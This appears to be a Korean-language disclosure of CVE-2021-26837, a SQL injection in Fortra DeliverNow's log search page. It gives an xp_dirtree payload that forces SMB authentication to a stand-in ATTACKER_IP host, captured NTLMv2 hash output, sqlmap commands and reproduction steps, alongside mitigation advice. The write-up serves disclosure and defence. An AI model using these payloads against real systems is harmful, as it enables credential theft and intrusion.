
CVE-2021-26837 - SQL Injection in the SearchTextbox parameter of HelpSystems/Fortra DeliverNow. Payloads, annotated requests, and evidence. Fixed in 1.2.18.
HelpSystems / Fortra DeliverNow의 SQL 인젝션
DeliverNow의 로그 검색 페이지(/LogGrid.aspx)에 있는 SearchTextbox 매개변수는 매개변수화나 서버 측 검증 없이 SQL Server 쿼리에 직접 연결됩니다. 또한 애플리케이션은 결과로 발생한 SQL Server 파서 오류를 사용자에게 그대로 표시했는데, 이것이 처음에 버그가 발견된 방식입니다.
데이터베이스 연결은 sa 권한으로 실행되었으므로 인젝션은 인스턴스에 대한 전체 sysadmin 권한을 상속했습니다. 이것으로 공격자가 제어하는 UNC 경로에 대해 master.dbo.xp_dirtree를 호출하고 SQL Server 서비스 계정이 아웃바운드 인증을 수행하도록 강제하기에 충분했습니다.
내부 침투 테스트 중 발견되었습니다. 공급업체가 DeliverNow 1.2.18에서 수정했으며 CVE-2021-26837로 게시되었습니다.
Show Up Show Out Security의 Sedric Louissaint가 발견 및 보고했습니다.
| CVE | CVE-2021-26837 |
| 제품 | DeliverNow (HelpSystems, 현재 Fortra) |
| 영향을 받는 버전 | 1.2.18 미만 (원래 권고에는 1.2.18 및 이전 버전으로 나열됨) |
| 취약점 유형 | CWE-89: SQL 인젝션 |
| CVSS 3.1 (NVD) | 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (연구자) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| 게시일 | 2023-09-19 |
| 테스트 환경 | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
NVD 설명:
Fortra (이전 HelpSystems) DeliverNow 1.2.18 미만 버전의 SearchTextBox 매개변수에서 SQL 인젝션 취약점으로 인해 공격자가 임의 코드를 실행하고, 권한을 상승시키며, 중요한 정보를 획득할 수 있습니다.
POST /LogGrid.aspx, 본문 매개변수 SearchTextbox. 이 폼은 애플리케이션의 로그 보기에 있는 검색 컨트롤입니다. ddlFieldName은 검색할 열을 선택하고(아래 요청에서 Description), SearchTextbox는 검색어를 전달합니다.
작은따옴표 하나만으로도 증명할 수 있습니다:
blah'
응답은 SQL Server 파서 오류를 페이지에 직접 렌더링합니다:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

이 오류 공개 자체도 하나의 발견입니다. 이로 인해 블라인드 인젝션이 완전히 대화형으로 전환됩니다.
연결이 sa 권한으로 실행되므로 master.dbo.xp_dirtree에 접근할 수 있습니다. 이를 사용자가 제어하는 호스트의 UNC 경로로 지정하면 SQL Server 서비스 계정이 SMB를 통해 해당 호스트로 아웃바운드 인증을 수행합니다:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

전체 요청은 poc/exploited-request.http에, 페이로드는 poc/payloads.sql에 있습니다.

Impacket의 smbserver.py가 수신 대기 중일 때, 대상의 SQL Server 서비스 계정이 인증을 수행하고 NTLMv2 해시가 유출됩니다:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

이 해시는 오프라인 크래킹이나 다른 호스트로의 NTLM 릴레이에 사용할 수 있습니다.
sqlmap이 인젝션과 권한 수준을 확인합니다:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa 권한이므로 인스턴스의 모든 로그인 해시를 읽을 수 있으며, xp_cmdshell은 sp_configure 호출 한 번으로 호스트에서 명령 실행이 가능합니다.
귀하가 소유하거나 테스트 권한이 있는 랩 인스턴스에서:
http://<host>:1080/)로 이동하여 로그를 엽니다.blah'를 입력하고 제출합니다. 취약한 빌드는 SQL Server 파서 오류를 페이지에 렌더링합니다.sudo smbserver.py c . -smb2support
poc/payloads.sql에서 xp_dirtree 페이로드를 사용자 IP로 대체하여 제출합니다. 취약한 빌드는 SQL Server 서비스 계정으로부터 인바운드 SMB 인증을 생성합니다.sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql SearchTextbox에 대한 탐지 및 대역 외 페이로드
exploited-request.http sqlmap -r에 사용할 전체 POST 요청
sqlmap.md sqlmap 호출 및 예상 출력
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
캡처에 있는 호스트와 해시는 원래 엔게이지먼트에서 사용된 것이며 오래되어 사용할 수 없습니다. 재현 시에는 자체 리스너 주소로 대체하십시오.
sa 권한으로 연결하지 마십시오. 애플리케이션은 자체 테이블에 대한 읽기 및 쓰기 액세스만 필요합니다. sysadmin 권한이나 xp_dirtree가 필요하지 않습니다. 최소 권한 원칙은 인젝션을 방지하지는 못했지만, 피해를 제한했을 것입니다.공급업체가 DeliverNow 1.2.18에서 수정했습니다. 업그레이드하십시오.
| 날짜 | 이벤트 |
|---|---|
| 2021 | 내부 침투 테스트 중 발견되어 HelpSystems에 보고됨 |
| 2021 | DeliverNow 1.2.18에서 수정됨 |
| 2023-09-19 | CVE-2021-26837이 NVD에 게시, 9.8 Critical 점수 부여 |
공급업체의 수정 이후 방어 및 교육 목적으로 게시되었습니다. 여기에 있는 페이로드는 수년 전에 패치된 버전을 대상으로 합니다. 소유하지 않거나 서면 승인을 받지 않은 시스템에서 실행하지 마십시오.